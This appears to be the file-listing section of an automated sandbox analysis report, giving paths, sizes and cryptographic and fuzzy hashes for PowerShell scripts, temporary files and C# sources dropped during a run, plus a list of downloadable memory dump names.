SHA512 4a155aed3894816356f7b72578035e7b920be0f51b5e1340e774af2f870925bc809fb5132940dec0f7de1bd87084d8502d00cc831364ff1429d2538a7b84b4fc
MD5 SHA1 SHA512

Submit Download

dp_o22wb6xs.ps1

Path C:\Users\Admin\AppData\Local\Temp\ck_1787786141234\dp_o22wb6xs.ps1
Size 519B
SHA256 9b7ad5658c26e7e225bca08b3fffb3ef99c2be7de103b69fc075a5a6d39fb729
MD5 2cbc0fe76e10c8ba1c341617ca90a603
SHA1 346edd5268117522898a56dec81a63a6800b5dd3
SHA512 0da9bb1776c17552d935f3236fafe726682e0cdfedd857f1341ad33711cb544f1b74caa258320ed63286381000611ac8f4f4091d2b76467eb1e496afb59bab1e
TLSH
T16EF08B34A2B2FE2908C461B6A372D98DC231022C30F96E14F7858A4AA72914DD0DE68F
MD5 SHA1 SHA512 TLSH

Submit Download

dp_o22wb6xs_o.tmp

Path C:\Users\Admin\AppData\Local\Temp\ck_1787786141234\dp_o22wb6xs_o.tmp
Size 176B
SHA256 a5d9286a79848a4f8044dfdbbe796f43f3a45f9ff5187c1312e8fa7ff9350405
MD5 c00cbed2e1f6922c1bc371f970da7374
SHA1 a235e73a87284150468dc86709c9bc8365e2aad6
SHA512 44f0704174e7b393ec73ada45bc295a1a2dfb5c1aa370f0db5007c43b53616ca75d9af0bd6343b20830bc1ff5f8857733b2b5806c62b839bc1a2ccd2bfcd8f41
TLSH
T12FC08067D1C67205E7884D7CD67146DB9E076B1FFD35019D185D41B58518A74D129032
MD5 SHA1 SHA512 TLSH

Submit Download

dp_slw2ioej.ps1

Path C:\Users\Admin\AppData\Local\Temp\ck_1787786141234\dp_slw2ioej.ps1
Size 519B
SHA256 8596766901ffdae9d87e5702792e3107fa244149dc7c8e367ac04a739519f879
MD5 ecf11c0d0c8e733aabaa290f0083942a
SHA1 e6a7e61d6b75b391ccfd7c3adc8305371e5273d1
SHA512 f287514f3fe2febfb7fb22615d787818406d1921379be8893d1510d04345bbf57ed8506f5ad8306358d9265e642db1ea9c7494cec0eb329edd702e3942c47d63
TLSH
T16CF08120A1A2FE6908D4A1B2E372D95CC131021D34F56E14F785DA45AB5914ED09D39B
MD5 SHA1 SHA512 TLSH

Submit Download

dp_slw2ioej_i.tmp

Path C:\Users\Admin\AppData\Local\Temp\ck_1787786141234\dp_slw2ioej_i.tmp
Size 388B
SHA256 d9eaac06e5ee25426e5bbd4410ff74bd4c007cc25c43aae88fbae5dc98a1789e
MD5 3a70af854299affb03b4a267230e8096
SHA1 1ce4bb4a560ed497cac6480bac73a402cab3e172
SHA512 30e8e577e36ef1c4ba1014caf18a613570fc99506242a8f7578428a710b2a7d881913a0bdc50459f3b6e431f490f9edfc8bee1893506940ece6a00237a345874
TLSH
T17BE0C07915F827029632EE89B5245D81ECDAC57F3D30A36778450ADCBA58B4EBF2027C
MD5 SHA1 SHA512 TLSH

Submit Download

dp_slw2ioej_o.tmp

Path C:\Users\Admin\AppData\Local\Temp\ck_1787786141234\dp_slw2ioej_o.tmp
Size 44B
SHA256 819f9a036c8f710bed9b2b0207e02b322a573e4ecb518204b226fc958f0ae82d
MD5 a9bda9ada759500f33a344ca28855c92
SHA1 e85bcc9220c258f445787b348d26dadc96e315e7
SHA512 125fa1adab97b0c14c363ff791658ff2d6a08f97cfda03f1cfd51a1008ca68d132b8b673eabcb0d1cf2dccc5c264e590f6cb29c1ff21d1f2cfb9965ae0857b8c
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_bsas0ul2.mi2.ps1

Path C:\Windows\SystemTemp\__PSScriptPolicyTest_bsas0ul2.mi2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

CSC460D0025936042439B85A4DB5C88D231.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ck_1787786141234\CSC460D0025936042439B85A4DB5C88D231.TMP
Size 2KB
SHA256 2bd2c7cb0d8b18bd3a09d797fafffb1f0c9e6e9e3487f7ca735dfa3e27f34fc7
MD5 eb9b1c3e481695ec6992552f2a7bcfcb
SHA1 22b38a98916d1cf3e284df6b7fe2315332dad06c
SHA512 198aa0fc958284726707fd60d0537110c1dc93094a9b69ddd545abe53d5312553a135c91ea388cc59cb878dbf58fba3b94d92ab8e9ac98846e8e3b1edcd6ad40
TLSH
T1D951DD41A2F85139F2B3073D29B093A75C79BE279C2CC66CE4C0172D18119C1FA526BD
MD5 SHA1 SHA512 TLSH

Submit Download

CSCB1F7A07CBCF94A408E6EF4F1A2C9DB71.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ck_1787786141234\CSCB1F7A07CBCF94A408E6EF4F1A2C9DB71.TMP
Size 1KB
SHA256 0a59e431678b8e83d265f69b299967f0a7be3a576fc6e09243283a5a14eef9f7
MD5 12abc4b3e7a08f95c3bb698dde7a047c
SHA1 915fcd5eb2ce5011bd1dcf9d977e4bba5eaf47a7
SHA512 da11e9526b41f0c31f453b6bcc85dfcb1fd1811a00b17609b48944eda471a659f16d01649d34a8e672fa66fd47189cd514ea93ee7001de7ce91565aed0907708
TLSH
T1DB216A546BFC070AF0F39F30BAB9876264A5BC61DE36D36E06E9154D1820D00E9B2F32
MD5 SHA1 SHA512 TLSH

Submit Download

cgvfzkj2kpj_a.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ck_1787786141234\cgvfzkj2kpj_a.cs
Size 2KB
SHA256 ebd5af21e0277f422573a4c4f2cf4da17bcf67be4ddbd5b797ea31516f753a4a
MD5 88f7e7b3c17bad3833c8480fdc6a66ec
SHA1 d9cf45533d6b0acd0784c29334d1767870dd8157
SHA512 709b81a73fee356f3ec3b29b7413acc91fef6fa9a87a894e55e30b881e9e5d0065b3a165fb9db5bc5bac9f1208b35e8f6f62f7fdeb8fb40557d79290d067b35e
TLSH
T1F84146283156C72D5FD259122CC2B19927BA737D47F89828F4CD4D03E7669290331F45
MD5 SHA1 SHA512 TLSH

Submit Download

cgvfzkj2kpj_a.ico

Path \??\c:\Users\Admin\AppData\Local\Temp\ck_1787786141234\cgvfzkj2kpj_a.ico
Size 1KB
SHA256 9dfba3292ed7f2f33858a6791730d1f23ae874d9e1b6334b8bfd9d1e8c344d25
MD5 7ca6884370bc019845331fb25a0676b5
SHA1 d9b2dcc04003643a594692193c673abe3d0a91b5
SHA512 73709d77986a3e64d8a2274e3ca6f5018143f93ea24cc52ae3e8dab60a8d9f994474f29b1b836d8de88390d2ecc85f276215a7aeb0db20d0d4c916aa30f598bb
TLSH
T1FF2102817200043DC090037C00316B060D8C900340BCD215E4D10141AC120D8346577C
MD5 SHA1 SHA512 TLSH

Submit Download

cgvfzkj2kpj_a.manifest

Path \??\c:\Users\Admin\AppData\Local\Temp\ck_1787786141234\cgvfzkj2kpj_a.manifest
Size 658B
SHA256 50ff12a0661734f378de26bc06df6eef94daca612586d943301255468f54b79c
MD5 755f05f2aabe724b54adf56b69e02d97
SHA1 b26388d039fa341ad874cc6d332129dc7fb4d53a
SHA512 7c7dd7062297dc8a1525842d441b2b1604c1df4bfb3f748fa32db2625b9fa8a1224491b34bd13099815eda4be312c2b697245e687d2a2980f414a86ab9e5443d
TLSH
T17801DDD2D4289159E34202A73E71F05800BDA73F1CCC9AFCD9C44F7D6202ACBC6871A5
MD5 SHA1 SHA512 TLSH

Submit Download

cgvfzkj2kpj_b.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ck_1787786141234\cgvfzkj2kpj_b.cs
Size 6KB
SHA256 6d47861234e6bfb43f8e68b398ae4c4981a23190ceae034cbe86cd5a2ac0406c
MD5 0f1b7a46159a3e7251412df57a51c5bc
SHA1 ea0128d2ff76f5c5d92374f62094d686c1f1b59e
SHA512 99f6080b229020bed4dfb44937467acaeb29a0ce5d1f1e95bd6deb0883c1f323f48f3c98e6ab428b88994e94bb60c6c3ac397e7b8ddd4705876d8aeaa48b9f35
SSDEEP 96:CVcyc4Qp2CVJu4WzpM9kUUaM8goEjorhBk4yvLkKOkNwb/GKdUk7SIxkRhwbadia:qjOrEpgU6g7j2hBPMGeIJO7k/gJIgHBv
TLSH
T1A0D14FE43364C22D9EA34C0AC8DFE00EE25B76B267BD58A0D9D94E16FD51022C677A1D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2128-87-0x0000025D1F620000-0x0000025D1F668000-memory.dmp

Download

memory/2448-16-0x0000024BE4424000-0x0000024BE4425000-memory.dmp

Download

memory/2448-3-0x0000024BE4417000-0x0000024BE4418000-memory.dmp

Download

memory/2448-121-0x0000024BE4423000-0x0000024BE4424000-memory.dmp

Download

memory/2448-29-0x0000024BE4427000-0x0000024BE4428000-memory.dmp

Download

memory/2448-122-0x0000024BE4416000-0x0000024BE4417000-memory.dmp

Download

memory/2448-28-0x0000024C2440F000-0x0000024C24410000-memory.dmp

Download

memory/2448-27-0x0000024BE441C000-0x0000024BE441F000-memory.dmp

Download

memory/2448-24-0x0000024BE441A000-0x0000024BE441B000-memory.dmp

Download

memory/2448-25-0x0000024C2440E000-0x0000024C2440F000-memory.dmp

Download

memory/2448-26-0x0000024BE4428000-0x0000024BE4429000-memory.dmp

Download

memory/2448-22-0x0000024BE4411000-0x0000024BE4412000-memory.dmp

Download

memory/2448-23-0x0000024BE4419000-0x0000024BE441A000-memory.dmp

Download

memory/2448-21-0x0000024BE4429000-0x0000024BE442A000-memory.dmp

Download

memory/2448-17-0x0000024BE4425000-0x0000024BE4426000-memory.dmp

Download

memory/2448-18-0x0000024BE4426000-0x0000024BE4427000-memory.dmp

Download

memory/2448-20-0x0000024BE4418000-0x0000024BE4419000-memory.dmp

Download

memory/2448-1-0x0000024BE4410000-0x0000024BE4411000-memory.dmp

Download

memory/2448-19-0x0000024BE4427000-0x0000024BE4428000-memory.dmp

Download

memory/2448-15-0x0000024BE4415000-0x0000024BE4416000-memory.dmp

Download

memory/2448-11-0x0000024BE4412000-0x0000024BE4413000-memory.dmp

Download

memory/2448-12-0x0000024BE441F000-0x0000024BE4420000-memory.dmp

Download

memory/2448-0-0x0000024BE4412000-0x0000024BE4413000-memory.dmp

Download

memory/2448-13-0x0000024BE4420000-0x0000024BE4421000-memory.dmp

Download

memory/2448-2-0x0000024BE4415000-0x0000024BE4416000-memory.dmp

Download

memory/2448-14-0x0000024BE4421000-0x0000024BE4422000-memory.dmp

Download

memory/2448-7-0x0000024BE441A000-0x0000024BE441B000-memory.dmp

Download

memory/2448-9-0x0000024BE4414000-0x0000024BE4415000-memory.dmp

Download

memory/2448-8-0x0000024BE441B000-0x0000024BE441C000-memory.dmp

Download

memory/2448-10-0x0000024BE441C000-0x0000024BE441F000-memory.dmp

Download

memory/2448-6-0x0000024BE4419000-0x0000024BE441A000-memory.dmp

Download

memory/2448-4-0x0000024BE4413000-0x0000024BE4414000-memory.dmp

Download

memory/2448-30-0x0000024BE4429000-0x0000024BE442A000-memory.dmp

Download

memory/2448-5-0x0000024BE4418000-0x0000024BE4419000-memory.dmp

Download

memory/2908-79-0x0000000001920000-0x0000000001928000-memory.dmp

Download

memory/2908-77-0x0000000000ED0000-0x0000000000ED6000-memory.dmp

Download

memory/4252-37-0x000001F3C22F0000-0x000001F3C2340000-memory.dmp

Download

memory/4252-35-0x000001F3C1D90000-0x000001F3C1DB2000-memory.dmp

Download

memory/5268-108-0x000002AAB4570000-0x000002AAB458E000-memory.dmp

Download

memory/5268-109-0x000002AAB4590000-0x000002AAB4642000-memory.dmp

Download

memory/5268-110-0x000002AAB4560000-0x000002AAB456A000-memory.dmp

Download

memory/5268-111-0x000002AAB4570000-0x000002AAB4582000-memory.dmp

Download

memory/5268-112-0x000002AAB4560000-0x000002AAB456A000-memory.dmp

Download